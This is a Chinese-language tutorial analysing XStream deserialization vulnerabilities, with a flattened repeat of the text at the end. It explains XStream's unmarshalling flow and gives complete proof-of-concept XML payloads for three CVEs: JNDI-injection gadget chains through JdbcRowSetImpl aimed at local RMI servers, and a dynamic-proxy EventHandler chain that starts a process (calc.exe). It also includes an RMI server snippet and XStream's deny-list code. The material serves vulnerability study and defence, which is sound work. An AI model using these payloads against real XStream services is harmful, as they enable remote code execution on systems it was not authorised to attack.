Java安全之XStream漏洞分析与利用
字数 1785 2025-08-20 18:17:41

XStream漏洞分析与利用教学文档

1. XStream简介

XStream是一个Java库,主要功能是将Java对象与XML相互转换。其特点包括:

  • 使用简单,通过默认构造函数即可创建实例
  • 支持几乎所有类型的Java对象处理
  • 无需实现Serializable接口也能进行序列化/反序列化

基本使用示例

Maven依赖:

<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.4</version>
</dependency>

示例1:未实现Serializable接口的类

public class Person {
    private String name;
    private int age;
    // 构造方法、getter/setter等
}

// 序列化
Person person = new Person("lucy", 22);
XStream xStream = new XStream();
String xml = xStream.toXML(person);
// 输出: <Xstream.Person><name>lucy</name><age>22</age></Xstream.Person>

示例2:实现Serializable接口的类

public class Car implements Serializable {
    private String name;
    private int price;
    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        System.out.println("Print Car");
    }
    // 其他方法
}

// 序列化
Car car = new Car("benchi", 2000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
// 输出: <Xstream.Car serialization="custom">...</Xstream.Car>

反序列化示例:

String xml = "<Xstream.Car serialization=\"custom\">...</Xstream.Car>";
XStream xStream = new XStream();
Car car = (Car)xStream.fromXML(xml); // 会调用readObject方法

2. XStream反序列化机制分析

反序列化流程

  1. 开始解析:从TreeUnmarshaller.start()开始
  2. 获取类型:通过HierarchicalStreams.readClassType()根据XML标签获取对应的Class对象
  3. 转换对象:调用convertAnother()方法将Class对象转换为Java对象
  4. 查找转换器:通过converterLookup.lookupConverterForType()根据类型寻找合适的Converter
  5. 实际转换:调用Converter的unmarshal()方法解析XML内容

关键点

  • 对于实现了readObject()方法的类,XStream会调用该方法
  • XStream为不同类型提供了不同的Converter:
    • SerializableConverter:处理实现了Serializable接口的类
    • ReflectionConverter:处理普通Java对象
    • DynamicProxyConverter:处理动态代理类
    • TreeSetConverter/TreeMapConverter:处理集合类

3. XStream漏洞汇总

XStream历史上存在多个反序列化漏洞,官方安全公告见:
https://x-stream.github.io/security.html

4. CVE-2021-21344分析

影响版本

XStream <= 1.4.15

漏洞原理

利用XStream反序列化时,通过构造特定的XML,触发JdbcRowSetImpl的JNDI注入

漏洞复现

RMI Server:

Registry registry = LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://127.0.0.1:8080/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("exec", wrapper);

POC XML:

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>com.sun.rowset.JdbcRowSetImpl</class>
                          <name>getDatabaseMetaData</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference='../..'/>
                      </marshallerPool>
                      <nameList>
                        <nsUriCannotBeDefaulted>
                          <boolean>true</boolean>
                        </nsUriCannotBeDefaulted>
                        <namespaceURIs>
                          <string>1</string>
                        </namespaceURIs>
                        <localNames>
                          <string>UTF-8</string>
                        </localNames>
                      </nameList>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                  <javax.sql.rowset.BaseRowSet>
                    <default>
                      <concurrency>1008</concurrency>
                      <escapeProcessing>true</escapeProcessing>
                      <fetchDir>1000</fetchDir>
                      <fetchSize>0</fetchSize>
                      <isolation>2</isolation>
                      <maxFieldSize>0</maxFieldSize>
                      <maxRows>0</maxRows>
                      <queryTimeout>0</queryTimeout>
                      <readOnly>true</readOnly>
                      <rowSetType>1004</rowSetType>
                      <showDeleted>false</showDeleted>
                      <dataSource>rmi://localhost:7777/exec</dataSource>
                      <params/>
                    </default>
                  </javax.sql.rowset.BaseRowSet>
                  <com.sun.rowset.JdbcRowSetImpl>
                    <default>
                      <iMatchColumns>
                        <int>-1</int>
                        <!-- 省略其他字段 -->
                      </iMatchColumns>
                      <strMatchColumns>
                        <string>foo</string>
                        <!-- 省略其他字段 -->
                      </strMatchColumns>
                    </default>
                  </com.sun.rowset.JdbcRowSetImpl>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

漏洞利用链分析

  1. PriorityQueue:利用其readObject()方法触发比较操作
  2. DataTransferer$IndexOrderComparator:通过比较操作触发后续链
  3. JdbcRowSetImpl:最终通过getDatabaseMetaData() -> connect()触发JNDI注入

5. CVE-2013-7258分析

影响版本

XStream 1.4.x-1.4.6及1.4.10

漏洞原理

利用动态代理和EventHandler实现命令执行

漏洞复现

POC XML:

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>cmd</string>
          <string>/C</string>
          <string>calc.exe</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

替代POC:

<tree-map>
  <entry>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
          <command>
            <string>cmd</string>
            <string>/C</string>
            <string>calc</string>
          </command>
        </target>
        <action>start</action>
      </handler>
    </dynamic-proxy>
    <string>good</string>
  </entry>
</tree-map>

漏洞利用链分析

  1. TreeSet/TreeMap:触发比较操作
  2. 动态代理:代理Comparable接口
  3. EventHandler:通过反射调用ProcessBuilder的start方法

6. CVE-2021-21351分析

影响版本

XStream <= 1.4.15

漏洞原理

利用XRTreeFrag和SAX2DTM触发JdbcRowSetImpl的JNDI注入

漏洞复现

POC XML:

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
      <m__DTMXRTreeFrag>
        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
          <m__size>-10086</m__size>
          <m__mgrDefault>
            <m__incremental>false</m__incremental>
            <m__source__location>false</m__source__location>
            <m__dtms>
              <null/>
            </m__dtms>
            <m__defaultHandler/>
          </m__mgrDefault>
          <m__shouldStripWS>false</m__shouldStripWS>
          <m__indexing>false</m__indexing>
          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
              <javax.sql.rowset.BaseRowSet>
                <default>
                  <concurrency>1008</concurrency>
                  <escapeProcessing>true</escapeProcessing>
                  <fetchDir>1000</fetchDir>
                  <fetchSize>0</fetchSize>
                  <isolation>2</isolation>
                  <maxFieldSize>0</maxFieldSize>
                  <maxRows>0</maxRows>
                  <queryTimeout>0</queryTimeout>
                  <readOnly>true</readOnly>
                  <rowSetType>1004</rowSetType>
                  <showDeleted>false</showDeleted>
                  <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                  <listeners/>
                  <params/>
                </default>
              </javax.sql.rowset.BaseRowSet>
              <com.sun.rowset.JdbcRowSetImpl>
                <default/>
              </com.sun.rowset.JdbcRowSetImpl>
            </fPullParserConfig>
            <fConfigSetInput>
              <class>com.sun.rowset.JdbcRowSetImpl</class>
              <name>setAutoCommit</name>
              <parameter-types>
                <class>boolean</class>
              </parameter-types>
            </fConfigSetInput>
            <fConfigParse reference='../fConfigSetInput'/>
            <fParseInProgress>false</fParseInProgress>
          </m__incrementalSAXSource>
          <m__walker>
            <nextIsRaw>false</nextIsRaw>
          </m__walker>
          <m__endDocumentOccured>false</m__endDocumentOccured>
          <m__idAttributes/>
          <m__textPendingStart>-1</m__textPendingStart>
          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
          <m__pastFirstElement>false</m__pastFirstElement>
        </m__dtm>
        <m__dtmIdentity>1</m__dtmIdentity>
      </m__DTMXRTreeFrag>
      <m__dtmRoot>1</m__dtmRoot>
      <m__allowRelease>false</m__allowRelease>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

漏洞利用链分析

  1. Rdn$RdnEntry:触发比较操作
  2. XRTreeFrag:通过getStringValue()触发后续解析
  3. SAX2DTM:解析过程中触发JdbcRowSetImpl的setAutoCommit()
  4. JdbcRowSetImpl:通过setAutoCommit() -> connect()触发JNDI注入

7. 防护措施

XStream通过黑名单机制防护漏洞,如1.4.15中的setupSecurity()方法:

protected void setupSecurity() {
    if (this.securityMapper != null) {
        this.addPermission(AnyTypePermission.ANY);
        this.denyTypes(new String[]{
            "java.beans.EventHandler",
            "java.lang.ProcessBuilder",
            "javax.imageio.ImageIO$ContainsFilter",
            "jdk.nashorn.internal.objects.NativeString"
        });
        this.denyTypesByRegExp(new Pattern[]{
            LAZY_ITERATORS, 
            JAVAX_CRYPTO, 
            JAXWS_FILE_STREAM
        });
        this.allowTypeHierarchy(Exception.class);
        this.securityInitialized = false;
    }
}

8. 参考资源

XStream漏洞分析与利用教学文档 1. XStream简介 XStream是一个Java库,主要功能是将Java对象与XML相互转换。其特点包括: 使用简单,通过默认构造函数即可创建实例 支持几乎所有类型的Java对象处理 无需实现Serializable接口也能进行序列化/反序列化 基本使用示例 Maven依赖 : 示例1:未实现Serializable接口的类 示例2:实现Serializable接口的类 反序列化示例 : 2. XStream反序列化机制分析 反序列化流程 开始解析 :从 TreeUnmarshaller.start() 开始 获取类型 :通过 HierarchicalStreams.readClassType() 根据XML标签获取对应的Class对象 转换对象 :调用 convertAnother() 方法将Class对象转换为Java对象 查找转换器 :通过 converterLookup.lookupConverterForType() 根据类型寻找合适的Converter 实际转换 :调用Converter的 unmarshal() 方法解析XML内容 关键点 对于实现了 readObject() 方法的类,XStream会调用该方法 XStream为不同类型提供了不同的Converter: SerializableConverter :处理实现了Serializable接口的类 ReflectionConverter :处理普通Java对象 DynamicProxyConverter :处理动态代理类 TreeSetConverter / TreeMapConverter :处理集合类 3. XStream漏洞汇总 XStream历史上存在多个反序列化漏洞,官方安全公告见: https://x-stream.github.io/security.html 4. CVE-2021-21344分析 影响版本 XStream <= 1.4.15 漏洞原理 利用XStream反序列化时,通过构造特定的XML,触发JdbcRowSetImpl的JNDI注入 漏洞复现 RMI Server : POC XML : 漏洞利用链分析 PriorityQueue :利用其 readObject() 方法触发比较操作 DataTransferer$IndexOrderComparator :通过比较操作触发后续链 JdbcRowSetImpl :最终通过 getDatabaseMetaData() -> connect() 触发JNDI注入 5. CVE-2013-7258分析 影响版本 XStream 1.4.x-1.4.6及1.4.10 漏洞原理 利用动态代理和EventHandler实现命令执行 漏洞复现 POC XML : 替代POC : 漏洞利用链分析 TreeSet/TreeMap :触发比较操作 动态代理 :代理Comparable接口 EventHandler :通过反射调用ProcessBuilder的start方法 6. CVE-2021-21351分析 影响版本 XStream <= 1.4.15 漏洞原理 利用XRTreeFrag和SAX2DTM触发JdbcRowSetImpl的JNDI注入 漏洞复现 POC XML : 漏洞利用链分析 Rdn$RdnEntry :触发比较操作 XRTreeFrag :通过 getStringValue() 触发后续解析 SAX2DTM :解析过程中触发JdbcRowSetImpl的 setAutoCommit() JdbcRowSetImpl :通过 setAutoCommit() -> connect() 触发JNDI注入 7. 防护措施 XStream通过黑名单机制防护漏洞,如1.4.15中的 setupSecurity() 方法: 8. 参考资源 XStream安全公告: https://x-stream.github.io/security.html XStream反序列化分析: https://y4tacker.github.io/2022/02/10/year/2022/2/XStream反序列化/